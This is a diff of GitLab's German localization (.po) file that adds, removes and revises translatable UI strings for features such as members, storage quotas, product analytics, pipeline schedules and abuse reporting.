msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr "Letzte Pipeline"
msgid "Last Seen"
msgstr "Zuletzt gesehen"
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr "Erfahre mehr in den"
@@ -25056,6 +25310,9 @@ msgstr "Änderungen im Browser mit der Web-IDE vornehmen und überprüfen"
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr "Mache alle in deinem Team unabhängig von ihrem Standort produktiver. GitLab Geo erstellt schreibgeschützte Mirror deiner GitLab-Instanz, sodass du die Zeit zum Klonen und Abrufen großer Repos reduzieren kannst."
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr "Möchtest du deine Zugriffsanfrage für \"%{source}\" wirklich widerrufen?"
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -25910,7 +26197,7 @@ msgid "MergeRequestAnalytics|Assignees"
msgstr ""
msgid "MergeRequestAnalytics|Date Merged"
-msgstr "Datum der Zusammenführung"
+msgstr "Datum des Merge"
msgid "MergeRequestAnalytics|Line changes"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr "Keine Dateien gefunden"
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr "Nachrichten"
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr "NEU"
msgid "Name"
msgstr "Name"
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr "Neues Label benennen"
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions are restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr "Hilfe"
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr "Neues Verzeichnis"
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr "Keine Tags mit einem solchen Namen oder einer solchen Beschreibung"
-msgid "No license. All rights reserved"
-msgstr "Keine Lizenz. Alle Rechte vorbehalten"
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr "Okt"
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr "Leider hat dein Filter keine Ergebnisse geliefert"
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr "Ãœbergeordnet"
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr "Ãœbergeordnetes Epic ist nicht vorhanden."
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr "Validierung der Pipeline... Dies kann bis zu einer Minute dauern."
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr "Warten auf Laden von CI-Inhalten..."
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr "Alle"
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr "Inaktiv"
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr "Gib eine kurze Beschreibung für diese Pipeline ein"
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Wähle aus, welche Inhalte du auf der Projektübersichtsseite sehen möchtest."
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr "Layoutbreite"
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr "Syntax-Highlight Theme"
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr "Zeiteinstellungen"
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr "Niemals"
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr "Fork"
@@ -32288,7 +32866,7 @@ msgid "ProjectService|Trigger event when a deployment starts or finishes."
msgstr ""
msgid "ProjectService|Trigger event when a merge request is created, updated, or merged."
-msgstr "Löst ein Ereignis aus, wenn eine Zusammenführungsanforderung erstellt, aktualisiert oder zusammengeführt wird."
+msgstr "Löst ein Ereignis aus, wenn ein Merge Request erstellt, aktualisiert oder zusammengeführt wird."
msgid "ProjectService|Trigger event when a new, unique alert is recorded."
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr "Kontaktiere eine(n) Administrator(in), um diese Einstellung zu ändern."
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr "Nur signierte Commits können zu diesem Repository gepusht werden."
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr "%{environment_name} wird für Entwickler änderbar sein. Bist du sicher?"
@@ -33475,6 +34071,9 @@ msgstr "Für Bereitstellung zugelassen"
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr "Umgebung"
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr "Wähle eine Umgebung"
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34136,8 +34738,8 @@ msgstr "Bezieht sich auf"
msgid "Release"
msgid_plural "Releases"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Veröffentlichung"
+msgstr[1] "Veröffentlichungen"
msgid "Release %{deletedRelease} has been successfully deleted."
msgstr "Release %{deletedRelease} wurde erfolgreich gelöscht."
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr "Wieder öffnen"
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr "Melde deine Lizenznutzungsdaten an GitLab"
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35342,7 +35968,7 @@ msgid "Run CI/CD pipelines for external repositories"
msgstr "CI/CD-Pipelines für externe Repositories ausführen"
msgid "Run CI/CD pipelines with Jenkins when you push to a repository, or when a merge request is created, updated, or merged. %{docs_link}"
-msgstr "CI/CD-Pipelines mit Jenkins ausführen, wenn du in ein Repository pushst oder eine Zusammenführungsanforderung erstellst, aktualisierst oder zusammengeführt wird. %{docs_link}"
+msgstr "CI/CD-Pipelines mit Jenkins ausführen, wenn du in ein Repository pushst oder ein Merge Request erstellst, aktualisierst oder zusammengeführt wird. %{docs_link}"
msgid "Run CI/CD pipelines with Jenkins."
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr "Projekt suchen"
msgid "Search projects"
msgstr "Projekte suchen"
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36585,7 +37238,7 @@ msgid "Security navigation"
msgstr ""
msgid "Security report is out of date. Please update your branch with the latest changes from the target branch (%{targetBranchName})"
-msgstr ""
+msgstr "Der Sicherheitsbericht ist veraltet. Bitte aktualisiere deinen Branch mit den neuesten Änderungen aus dem Ziel-Branch (%{targetBranchName})"
